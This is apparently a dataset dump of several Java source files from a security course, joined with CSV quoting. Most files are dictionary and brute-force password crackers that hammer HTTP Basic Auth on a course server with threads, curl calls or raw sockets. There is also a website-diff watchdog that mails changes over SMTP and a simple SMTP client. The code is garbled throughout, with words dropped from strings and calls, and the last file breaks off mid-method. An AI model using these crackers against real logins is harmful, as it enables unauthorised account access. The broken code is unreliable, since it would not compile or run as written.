            System.exit(0);
        }
    }
    
    
    
    
    
    public class ThCrack extends Thread {
        
        
        public ThCrack(int threadID, int startidx, int endidx) {
            super("" Thread #""+String.valueOf(threadID)+"": "");
            this.ID       = threadID;
            this.startidx = startidx;
            this.endidx   = endidx;
            
            
            if (endidx>=startidx+MAXCACHE-1) {
                this.localDict = new String[MAXCACHE];
                this.localDict = fetchWords(startidx,MAXCACHE);
                lastFetchIdx   = startidx+MAXCACHE-1;
            } else {
                this.localDict = new String[(int)(endidx-startidx+1)];
                this.localDict = fetchWords(startidx,(int)(endidx-startidx+1));
                lastFetchIdx   = endidx;
            }
            
            setDaemon(true);
        }
        
        
        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
            int i;
            String msg;
            
            
            URL tryURL = new URL(THEURL);
            
            
            connections[connID]=(HttpURLConnection) tryURL.openConnection();
            
            
            connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass));
            
            
            i = connections[connID].getResponseCode();
            msg  = connections[connID].getResponseMessage();
            connections[connID].disconnect();
            
            
            if (i==HttpURLConnection.HTTP_OK) {
                
                System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"")."");
                setSuccess(this.ID,thePass);
                return (true);
            } else {
                
                System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"")."");
                return (false);
            }
        }
        
        
        public void rest(int msec) {
            try { sleep(msec); } catch (InterruptedException e) {}
        }
        
        
        public String getCacheIdx(int idx) {
            if (idx<=lastFetchIdx) {
                return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
            } else {
                if (lastFetchIdx+localDict.length-1>endidx) {
                    this.localDict = fetchWords(lastFetchIdx+1,(int)(endidx-lastFetchIdx-1));
                    lastFetchIdx   = endidx;
                } else {
                    this.localDict = fetchWords(lastFetchIdx+1,localDict.length);
                    lastFetchIdx   = lastFetchIdx+localDict.length;
                }
                return localDict[localDict.length-(int)(lastFetchIdx-idx)-1];
            }
        }
        
        
        
        public String constructPassword(int idx) {
            return getCacheIdx(idx);
        }
        
        
        public String getStartStr() {
            return fetchWord(this.startidx);
        }
        
        
        public String getEndStr() {
            return fetchWord(this.endidx);
        }
        
        
        public void run() {
             i = startidx;
            boolean keeprunning = true;
            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
                
                
                int idx = waitUntilOK2Connect();
                
                
                if (idx==-1) {
                    
                    break;
                }
                
                try {
                    
                    String s = constructPassword(i);
                    
                    if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR))
                        launchRequest(getName(), idx, s);
                    else
                        System.out.println(getName()+""skipping '""+s+""'"");
                    
                    decreaseConn(idx);
                    
                    localattempt++;
                    
                    
                    rest(MAXCONN);
                    i++;
                } catch (InterruptedException e) {
                    
                    
                    keeprunning = false;
                    break;
                } catch (IOException e) {
                    
                    
                    
                    
                    
                    decreaseConn(idx);
                }
            }
            
            
            if (success==this.ID) {
                waitUntilAllTerminated();
            }
        }
        
        
        public int getLocalAttempt() {
            return localattempt;
        }
        
        private int startidx,endidx;
        private int ID;
        private int localattempt = 0;
        private String localDict[]; 
        private  int  lastFetchIdx;
    }
    
    
    public void printProgramHeader(String mode,int nThread) {
        System.out.println();
        System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************"");
        System.out.println();
        System.out.println(""  URL         : ""+THEURL);
        System.out.println(""  Crack Mode  : ""+mode);
        System.out.println(""  . Char   : ""+MINCHAR);
        System.out.println(""  . Char   : ""+MAXCHAR);
        System.out.println(""  # of Thread : ""+nThread);
        System.out.println(""  Connections : ""+MAXCONN);
        System.out.println(""  All Combi.  : ""+ALLCOMBI);
        System.out.println();
        System.out.println("" ***************************************************************************"");
        System.out.println();
    }
    
    
    public void startNaiveCracking() {
        MAXTHREAD = 1;
        MAXCONN   = 1;
        startDistCracking();
    }
    
    
    public void startDistCracking() {
          int startidx,endidx;
        int   thcount;
        
        
        if (isenhanced) {
            printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD);
        } else {
            printProgramHeader(""NAIVE DICTIONARY CRACKING ALGORITHM"",MAXTHREAD);
        }
        
        
        
        
        
        
        
        
        if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); }
         mult = (ALLCOMBI) / MAXTHREAD;
        
        
         i = System.currentTimeMillis();
        
        
        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
            startidx = thcount*mult;
            endidx   = (thcount+1)*mult-1;
            threads[thcount] = new ThCrack(thcount, startidx, endidx);
            System.out.println(threads[thcount].getName()+"" try  crack from '""+threads[thcount].getStartStr()+""'  '""+threads[thcount].getEndStr()+""'"");
        }
        
        
        
        
        
        startidx = (MAXTHREAD-1)*mult;
        endidx   = ALLCOMBI-1;
        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
        System.out.println(threads[MAXTHREAD-1].getName()+"" try  crack from '""+threads[MAXTHREAD-1].getStartStr()+""'  '""+threads[MAXTHREAD-1].getEndStr()+""'"");
        
        System.out.println();
        System.out.println("" ***************************************************************************"");
        System.out.println();
        
        
        for (int i=0;i<MAXTHREAD;i++)
            threads[i].print();
    }
    
    
    public Dictionary() {
        
        if (isenhanced) {
            startDistCracking();
        } else {
            startNaiveCracking();
        }
        
        
        reportTimer  = new java.util.Timer();
        MyTT      tt = new MyTT();
        reportTimer.schedule(tt,0,1000);
        
        
        while ((success==-1) && (attempt<ALLCOMBI)) {
            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
        }
        
        
        if (success==-1) {
            end = System.currentTimeMillis();
        }
        
        
        getAccumulatedLocalAttempt();
        
        double ovAps = tt.getOverallAttemptPerSec();
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern(""0.00"");
        
        
        reportTimer.cancel();
        
        
        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
        
        
        synchronized (this) {
            if (success>=0) {
                System.out.println();
                System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"");
                System.out.println();
                System.out.println(""  The password is     : ""+passw);
                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
                System.out.println(""  Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds"");
                System.out.println();
                System.out.println("" ***************************************************************************"");
                System.out.println();
            } else {
                System.out.println();
                System.out.println("" ********************* [ UNABLE  CRACK THE URL !!! ] *********************"");
                System.out.println();
                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
                System.out.println();
                System.out.println("" ***************************************************************************"");
                System.out.println();
            }
        }
    }
    
    
    public static void printSyntax() {
        System.out.println();
        System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]"");
        System.out.println();
        System.out.println(""   mode     : (opt) 0 - NAIVE Dictionary mode"");
        System.out.println(""                        (trying from the first  the last combinations)"");
        System.out.println(""                    1 - ENHANCED Dictionary mode"");
        System.out.println(""                        (dividing cracking jobs  multiple threads) (default)"");
        System.out.println(""   URL      : (opt) the URL  crack "");
        System.out.println(""                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"");
        System.out.println(""   ,  : (optional) range of characters   applied in the cracking"");
        System.out.println(""                         where  1   <=  <= 255  (default  = 1)"");
        System.out.println(""                                 <=  <= 255  (default  = 3)"");
        System.out.println(""   username : (optional) the username that is used  crack"");
        System.out.println();
        System.out.println(""   NOTE: The optional parameters '','', and 'username'"");
        System.out.println(""         have   specified altogether  none at all."");
        System.out.println(""         For example, if [] is specified, then [], and [username]"");
        System.out.println(""         have   specified as well. If none of them  specified,"");
        System.out.println(""         default values   used."");
        System.out.println();
        System.out.println(""   Example of invocation :"");
        System.out.println(""         java Dictionary "");
        System.out.println(""         java Dictionary 0"");
        System.out.println(""         java Dictionary 1 http://localhost/tryme.php"");
        System.out.println(""         java Dictionary 0 http://localhost/tryme.php 1 3 "");
        System.out.println(""         java Dictionary 1 http://localhost/tryme.php 1 10 "");
        System.out.println();
        System.out.println();
    }
    
    
    public static void paramCheck(String[] args) {
        int argc = args.length;
        
        
        try {
            switch (Integer.valueOf(args[0]).intValue()) {
                case 0: {
                    isenhanced = false;
                } break;
                case 1: {
                    isenhanced = true;
                } break;
                default:
                    System.out.println(""Syntax error : invalid mode '""+args[0]+""'"");
                    printSyntax();
                    System.exit(1);
            }
        } catch (NumberFormatException e) {
            System.out.println(""Syntax error : invalid number '""+args[0]+""'"");
            printSyntax();
            System.exit(1);
        }
        
        if (argc>1) {
            try {
                
                URL u  = new URL(args[1]);
                
                
                try {
                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                    
                    switch (conn.getResponseCode()) {
                       case  HttpURLConnection.HTTP_ACCEPTED:
                      case   HttpURLConnection.HTTP_OK:
                      case   HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
                      case   HttpURLConnection.HTTP_FORBIDDEN:
                      case   HttpURLConnection.HTTP_UNAUTHORIZED:
                            break;
                        default:
                            
                            
                            System.out.println(""Unable  open connection  the URL '""+args[1]+""'"");
                            System.exit(1);
                    }
                } catch (IOException e) {
                    System.out.println(e);
                    System.exit(1);
                }
                
                THEURL = args[1];
            } catch (MalformedURLException e) {
                
                System.out.println(""Invalid URL '""+args[1]+""'"");
                printSyntax();
                System.exit(1);
            }
        }
        
        
        if (argc==5) {
            try {
                MINCHAR = Integer.valueOf(args[2]).intValue();
            } catch (NumberFormatException e) {
                System.out.println(""Invalid  range number value '""+args[2]+""'"");
                printSyntax();
                System.exit(1);
            }
            
            try {
                MAXCHAR = Integer.valueOf(args[3]).intValue();
            } catch (NumberFormatException e) {
                System.out.println(""Invalid  range number value '""+args[3]+""'"");
                printSyntax();
                System.exit(1);
            }
            
            if ((MINCHAR<1) || (MINCHAR>255)) {
                System.out.println(""Invalid  range number value '""+args[2]+""' (must between 0 and 255)"");
                printSyntax();
                System.exit(1);
            } else
                if (MINCHAR>MAXCHAR) {
                    System.out.println(""Invalid  range number value '""+args[2]+""' (must lower than the  value)"");
                    printSyntax();
                    System.exit(1);
                }
            
            if (MAXCHAR>255) {
                System.out.println(""Invalid  range number value '""+args[3]+""' (must between  value and 255)"");
                printSyntax();
                System.exit(1);
            }
            
            USERNAME = args[4];
        } else
            if ((argc>2) && (argc<5)) {
                System.out.println(""Please specify the [], [], and [username] altogether  none at all"");
                printSyntax();
                System.exit(1);
            } else
                if ((argc>2) && (argc>5)) {
                    System.out.println(""The number of parameters expected is not more than 5. "");
                    System.out.println("" have specified more than 5 parameters."");
                    printSyntax();
                    System.exit(1);
                }
    }
    
    public static void main(String[] args) {
        MINCHAR   = 1;
        MAXCHAR   = 3; 
        
        
        if (args.length==0) {
            args    = new String[5];
            args[0] = String.valueOf(1); 
            args[1] = THEURL;
            args[2] = String.valueOf(MINCHAR);
            args[3] = String.valueOf(MAXCHAR);
            args[4] = USERNAME;
        }
        
        
        paramCheck(args);
        
        
        readThroughDictionary();
        
        
        Application = new Dictionary();
    }
    
    public static Dictionary Application;
    public static String    THEURL		= ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
    public static String    DICTIONARY          = System.getProperty(""user.dir"")+""/words"";
    public static String    TEMPDICT            = System.getProperty(""user.dir"")+""/~words"";
    public static boolean   isenhanced;		
    public static String    passw		= """";	
    
    public static final int REPORT_INTERVAL = 1;  
    public static int       MAXTHREAD =  50;      
    public static int       MAXCONN   =  50;      
    public static int	    curconn   =   0;      
    public static int       success   =  -1;      
    
    public static String    USERNAME = """";  
    public static int       MINCHAR;              
    public static int       MAXCHAR;              
    public static   int    ALLCOMBI;             
    
    public static  int  start    ,end;            
    public static int       MAXCACHE  = 100;      
    
    public static java.util.Timer   reportTimer;  
    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
    public static boolean	    connused[]	  = new boolean[MAXCONN];           
    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
    public static   int    attempt               = 0; 
    public static int    idxLimit;		  
}
"
252.java,"import java.net.*;
import java.io.*;

public class Dictionary
{

       public static void main (String[] args)
       {

              String pwd = new String();
              String userpwd = new String();
              String reply = new String();
              int i,j,k;
             int  startTime, endTime,totalTime;
              URLConnection connectionObj;
              startTime = System.currentTimeMillis();
              

         try {

         URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");

          BufferedReader file = new BufferedReader(new FileReader(""words""));


             while ((pwd=file.readLine()) != null)
             {

                             userpwd = bf.encode("""",pwd);

                             connectionObj = urlObj.openConnection();

                             connectionObj.setRequestProperty(""Authorization"","" "" + userpwd);
                             connectionObj.connect();
                             reply = connectionObj.getHeaderField(0);
                             System.out.println(pwd);
                             if (reply.compareTo(""HTTP/1.1 200 OK"")== 0)
                             {

                             endTime = System.currentTimeMillis();
                             totalTime= (endTime - startTime)/1000;
                             System.out.println(""Total Time = "" + (totalTime) + ""seconds"");
                             System.exit(0);
                             }
                             





               }

        }

        catch (MalformedURLException err)
           {
           System.out.println(err);
           }
       catch (IOException err)
           {
           System.out.println(err);
           }

       }




}"
131.java,"
import java.io.*;
import java.net.*;

public class BruteForce
{
   private String myUsername = """";
   private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";
   private int NUM_CHARS = 52;


   public static void main(String args[])
   {
      BruteForce bf = new BruteForce();
   }


   public BruteForce()
   {
      generatePassword();
   }


   

  public void generatePassword()
  {
      int index1 = 0, index2, index3;

      char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
                               'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
                               'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
                               'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
                               'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
                               's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };


      while(index1 < NUM_CHARS)
      {
         index2 = 0;

         while(index2 < NUM_CHARS)
         {
            index3 = 0;

            while(index3 < NUM_CHARS)
            {
               crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
               index3++;
            }

            index2++;
         }

         index1++;
      }
  }


  

  public void crackPassword(String passwordToCrack)
  {
     String data, dataToEncode, encodedData;

     try
     {
         URL url = new URL (urlToCrack);

         

         dataToEncode = myUsername + "":"" + passwordToCrack;

         

         encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());

         URLConnection urlCon = url.openConnection();
         urlCon.setRequestProperty(""Authorization"", "" "" + encodedData);

         InputStream is = (InputStream)urlCon.getInputStream();
         InputStreamReader isr = new InputStreamReader(is);
         BufferedReader bf = new BufferedReader(isr);

         

          
          {
             data = bf.readLine();
             System.out.println(data);
             displayPassword(passwordToCrack);
         } while (data != null);
      }
      catch (IOException e)
      {   }
   }

   public void displayPassword(String foundPassword)
   {
      System.out.println(""\nThe cracked password is : "" + foundPassword);
      System.exit(0);
   }
}
"
084.java,"

import java.Thread;
import java.io.*;
import java.net.*;

public class BruteForce extends Thread {
    final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
    final static int SUCCESS=1,
                     FAILED=0,
                     UNKNOWN=-1;
    private static String host,
                   path,
                   user;
    private Socket target;
    private InputStream input;
    private OutputStream output;
    private byte[] data;
    private int threads,
                threadno,
                response;
    public static boolean solved = false;
    BruteForce parent;


    public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
    {
      super();
      this.parent = parent;
      this.host = host;
      this.path = path;
      this.user = user;
      this.threads = threads;
      this.threadno = threadno;
    }

    public void run()
    {
      response = FAILED;
      int x = 0; 
       starttime = System.currentTimeMillis();

      for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
      {
        for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
        {
          for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
          {
            if((x % threads) == threadno) 
                                          
            {
              response = tryLogin(CHARACTERS[i] + """" +  CHARACTERS[j] + CHARACTERS[k]);
              if(response == SUCCESS)
              {
                System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ CHARACTERS[i] +  CHARACTERS[j] + CHARACTERS[k]);
                parent.solved = true;
              }
              if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ CHARACTERS[i] +  CHARACTERS[j] + CHARACTERS[k]+"")"");
            }
            x++;
          }
        }
      }
      if(response == SUCCESS)
      {
        System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec."");
        System.out.println(""Thread . "" + threadno + "" was the  one!"");
      }
    }

    public static void main (String[] args)
    {
        BruteForce parent;
        BruteForce[] attackslaves = new BruteForce[10]; 
        if(args.length == 3)
        {
         host = args[0];
         path = args[1];
         user = args[2];
        }
        else
        {
          System.out.println(""Usage: BruteForce <host> <path> <user>"");
          System.out.println("" arguments specified, using standard values."");
          host = ""sec-crack.cs.rmit.edu."";
          path = ""/SEC/2/index.php"";
          user = """";
        }
        System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user);
        System.out.println(""Using "" + attackslaves.length + "" happy threads..."");

        parent = new BruteForce(host, path, user, 0, 0, null);

        for(int i=0; i<attackslaves.length; i++)
        {
          attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
        }
        for(int i=0; i<attackslaves.length; i++)
        {
          attackslaves[i].print();
        }

    }

    private int tryLogin(String password)
    {
      int success = -1;

      try
      {
        data = new byte[12];
        target = new Socket(host, 80);
        input = target.getInputStream();
        output = target.getOutputStream();
        String base =  new pw.misc.BASE64Encoder().encode(new String(user + "":"" + password).getBytes());

        output.write(new String(""GET "" + path + "" HTTP/1.0\r\n"").getBytes());
        output.write(new String(""Authorization:  "" + base + ""\r\n\r\n"").getBytes());

        input.print(data);
        if(new String(data).endsWith(""401"")) success=0;
        if(new String(data).endsWith(""200"")) success=1;
      }
      catch(Exception e)
      {
        System.out.println(e.getClass().getName() + "": "" + e.getMessage());
      }
      return success;
    }

}"
256.java,"

import java.net.*;
import java.io.*;

import java.*;
import java.util.*;

public class Dictionary {

  private static String commandLine = ""curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"";
  private String password;             
  private String previous;             
  private String url;                  
  private int startTime;
  private int endTime;
  private int totalTime;
  private float averageTime;
  private boolean finish;
  private Process curl;
  private BufferedReader bf, responseLine;

  public Dictionary() {

  first();
  finish = true;                           
  previous = """";                           
  Runtime run = Runtime.getRuntime();
  startTime =new Date().getTime();         
  int i=0;
  try {
   try {
     bf = new BufferedReader(new FileReader(""words""));
   }
   catch(FileNotFoundException notFound) {
    bf  = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
   }

   while((password = bf.readLine()) != null) {
    if(password.length()>3) password = password.substring(0,3);
    if(previous.equals(password)) ;
    else {
    previous = password;
    url = commandLine+password;
    curl= run.exec(url);                   
    responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));
    
    if(responseLine.readLine().substring(9,12).equals(""200"")) break;
    }
   }
  }
  catch(IOException ioe) {
    System.out.println(""\n IO Exception! \n"");
    System.out.println(""The current url is:""+ url);
    System.out.println(""The current trying password is:""+password);
    finish=false;
  }

  endTime = new Date().getTime();          
  totalTime = (endTime-startTime)/1000;
  System.out.println(""   The response time is:""+ totalTime + ""  seconds\n"");
  if(finish) {
    System.out.println(""   The password for  is:""+ password);
    try {
    savePassword(password, totalTime);
    }
    catch (IOException ioec) {
       System.out.println(""  not save the password  file Dictionary_pwd.txt "");
    }
  }
  }


  public void savePassword(String passwdString, int time) throws IOException {
  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(""Dictionary_pwd.txt""));
  outputStream.writeChars(""The password is:"");
  outputStream.writeChars(passwdString+""\n"");
  outputStream.writeChars(""The response time is: "");
  outputStream.writeChars(sw.toString(time));
  outputStream.writeChars("" seconds\n"");
  outputStream.close();
  }

  public void first() {

    System.out.println(""\n\n----------------------------------------------"");
    System.out.println(""   Use curl command and dictionary "");
    System.out.println(""  Brute Force the password for user  "");
    System.out.println(""----------------------------------------------"");
  }

  public static void main(String[] args) {
   new Dictionary();
  }  
}
"
030.java,"
import java.awt.*;
import java.util.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;

public class BruteForce
{
   private String userPassword;
   private static int counter;





   public BruteForce(String username)
   {
    String user;
    String password;
    counter = 0;
    user = username;


      for (char i='A';i<='z';i++)
      {
           if (i == 'Z')
                  i = 'a';

          for (char j='A';j<='z';j++)
          {
               if (j == 'Z')
                  j = 'a';

              for (char k='A';k<='z';k++)
              {
                userPassword = user+ "":"" + i + j + k;

                if (k == 'Z')
                  k = 'a';

                  System.out.print(""."");

                  if (doEncoding(userPassword)== true)
                  {
                    System.out.println(""\n"" + ""Resultant Password is: "" + i + j + k);
                    return;
                  };

                counter++;
              }
          }
       }
   }





   private boolean doEncoding(String userPassword)
   {
       String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
       return doAttempt(encoding);
   }





   private boolean doAttempt (String encoding)
   {
      try
      {
         URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");

         URLConnection uc = url.openConnection();
         uc.setDoInput(true);
         uc.setDoOutput(true);

         uc.setRequestProperty  (""Get"", ""/SEC/2/ "" + ""HTTP/1.1"");
         uc.setRequestProperty  (""Host"", ""sec-crack.cs.rmit.edu."");
         uc.setRequestProperty  (""Authorization"", "" "" + encoding);

         return uc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"");
       }
       catch (MalformedURLException e)
       {
         System.out.println (""Invalid URL"");
       }
       catch (IOException e)
       {
         System.out.println (e.toString() );
       }

       return false;
   }





  public static void  main(String args[])
   {
     Date sdate = new Date();

     System.out.print(""BruteForce Attack starts at:"" + sdate + ""\n"");

     BruteForce bf = new BruteForce(args[0]);

     Date edate = new Date();
     System.out.print(""BruteForce Attack ends at:"" + sdate + ""\n"");
     System.out.println(""Time taken by BruteForce is : "" + (edate.getTime() - sdate.getTime())/1000 + "" seconds \n"");
     System.out.print(""Attempts  in this session:"" + counter + ""\n"");   }
}




"
226.java,"







import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;

public class WatchDog 
{
	private static Process pro = null;
	private static Runtime run = Runtime.getRuntime();
	
	public static void main(String[] args) 
	{
		String cmd = null;
		try
		{
			cmd = new String(""wget -O original.txt http://www.cs.rmit.edu./students/"");

			pro = run.exec(cmd);
			System.out.println(cmd);
		}
		catch (IOException e)
		{
		}
	
		class Watch implements ActionListener
		{
			BufferedReader in = null;
			String str = null;
			Socket socket;
			public void actionPerformed (ActionEvent event)
			{
				
				try
				{
					System.out.println(""in Watch!"");
					String cmd = new String();
					int ERROR = 1;
					cmd = new String(""wget -O new.txt http://www.cs.rmit.edu./students/"");


					System.out.println(cmd);
					cmd = new String(""diff original.txt new.txt"");
					pro = run.exec(cmd);
					System.out.println(cmd);
					in = new BufferedReader(new InputStreamReader(pro.getInputStream()));

					if (((str=in.readLine())!=null)&&(!str.endsWith(""d0"")))
					{
						System.out.println(str);
						try
						{
							socket = new Socket(""yallara.cs.rmit.edu."",25);
							PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
							String linetobesent = null;
							BufferedReader getin = null;

							try
							{
								FileReader  = new FileReader(""template.txt"");
								getin = new BufferedReader();
								while (!(linetobesent=getin.readLine()).equals(""""))
								{
									System.out.println(linetobesent);
									output.println(linetobesent);
								}
								output.println(""Orignail Line .s C New Line .s "" + str);
								while ((linetobesent=in.readLine())!=null)
								{
									output.println(linetobesent);
									System.out.println(linetobesent);
								}
								while ((linetobesent=getin.readLine())!=null)
								{
									output.println(linetobesent);
									System.out.println(linetobesent);
								}
								cmd = new String(""cp new.txt original.txt"");
								System.out.println(cmd);
								pro = run.exec(cmd);
								
							}
							catch (IOException ex)
							{
								System.out.println(ex);
							}
							catch (Exception ex)
							{
								System.out.println(ex);
								System.exit(ERROR);
							}
							finally
							{
								try
								{
									if (getin!= null)
										getin.read();
								}
								catch (IOException e) {}
							}

						}
						catch (UnknownHostException e)
						{
							System.out.println(e);
							System.exit(ERROR);
						}
						catch (IOException e) 
						{
							System.out.println(e);
							System.exit(ERROR);
						}







					}
					else
						System.out.println(""string is empty"");
				}
				catch (IOException exc)
				{
				}
			
			}
		}
		
		Watch listener = new Watch();
		Timer t = new Timer(null,listener);
		t.close();	
	
		JOptionPane.showMessageDialog(null,""Exit WatchDog program?"");
		System.exit(0);
	}
}
"
187.java,"



import java.net.*;
import java.io.*;
import java.util.Date;

public class MyMail implements Serializable
{
	

	
	public static final int SMTPPort = 25;

	
	public static final char successPrefix = '2';

	
	public static final char morePrefix = '3';

	
	public static final char failurePrefix = '4';

	

	
	private static final String CRLF = ""\r\n"";

	
	private String mailFrom = """";

	
	private String mailTo = """";

	
	private String messageSubject = """";

	
	private String messageBody = """";

	
	private String mailServer = """";

	
	public MyMail ()
	{
		
		super();
	}

	
	public MyMail ( String serverName)
	{
		
		super();

		
		mailServer = serverName;
	}

	
	public String getFrom()
	{
		return mailFrom;
	}

	
	public String getTo()
	{
		return mailTo;
	}

	
	public String getSubject()
	{
		return messageSubject;
	}

	
	public String getMessage()
	{
		return messageBody;
	}

	
	public String getMailServer()
	{
		return mailServer;
	}

	
	public void setFrom( String from )
	{
		
		mailFrom = from;
	}

	
	public void setTo ( String To )
	{
		
		mailTo = To;
	}

	
	public void setSubject ( String subject )
	{
		
		messageSubject = subject;
	}

	
	public void setMessage ( String msg )
	{
		
		messageBody = msg;
	}

	
	public void setMailServer ( String server )
	{
		
		mailServer = server;
	}

	
	private boolean responseValid( String response )
	{
		

		
		if (response.indexOf("" "") == -1)
			
			return false;

		
		String cad = response.substring( 0, response.indexOf("" ""));

		
		cad = cad.toUpperCase();

		
		if (( cad.charAt(0) == successPrefix ) ||
		    ( cad.charAt(0) == morePrefix )  )
			
				return true;
			else
				
				return false;
		}

	
	public void sendMail()
	{
		try {
		String response;

		
		Socket mailSock = new Socket (mailServer, SMTPPort);

		
		BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
		PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));

		
		System.out.println(""1"");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException(""ERR - "" + response);

		
		try
		{
			InetAddress addr = InetAddress.getLocalHost();

			String localHostname = addr.getHostName();
			
			pout.print (""HELO "" + localHostname + CRLF);
		}
		catch (UnknownHostException uhe)
		{
			
			pout.print (""HELO myhostname""  + CRLF);
		}

		
		pout.flush();

		
		System.out.println(""2"");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException(""ERR - "" + response);

		
		pout.println (""MAIL From:<"" + mailFrom + "">"");

		
		pout.flush();

		
		System.out.println(""3"");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException(""ERR - "" + response);

		
		pout.println (""RCPT :<"" + mailTo + "">"");

		
		pout.flush();

		
		System.out.println(""4"");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException(""ERR - "" + response);

		
		pout.println (""DATA"");

		
		pout.flush();

		
		System.out.println(""5"");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException(""ERR - "" + response);

		
		
		pout.println (""From: "" + mailFrom);
		pout.println ("": "" + mailTo);
		pout.println (""Subject: "" + messageSubject);

		
		pout.println ();

		
		pout.println (messageBody);

		
		pout.println ("".\n\r"");

		
		pout.flush();

		
		System.out.println(""6"");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException(""ERR - "" + response);

		
		pout.println (""QUIT"");

		
		pout.flush();

		
		mailSock.close();
		}
		catch (IOException ioe)
		{
			System.out.println(ioe.getMessage());
		}
	}

}"
074.java,"




import java.io.*;
import java.net.*;



public class BruteForce
{
   public static void main(String args[]) throws IOException,
   MalformedURLException
   {
      final String username = """";
      final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
      
      String temppass;
      String password = """";
      URL url = new URL(fullurl);
      boolean cracked = false;
      
      String c[] = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",
                    ""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",""d"",
                    ""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",
                    ""t"",""u"",""v"",""w"",""x"",""y"",""z""};
      
       startTime = System.currentTimeMillis();
                    
      
      
      for(int i = 0; i < 52 && !cracked; i++) {
         temppass = c[i]; 
         Authenticator.setDefault(new MyAuthenticator(username, temppass));
         try{
            
            
            BufferedReader r = new BufferedReader(new InputStreamReader(
               url.openStream()));
            
            
            cracked = true;
            password = temppass;
         } catch(Exception e){}
      }
      
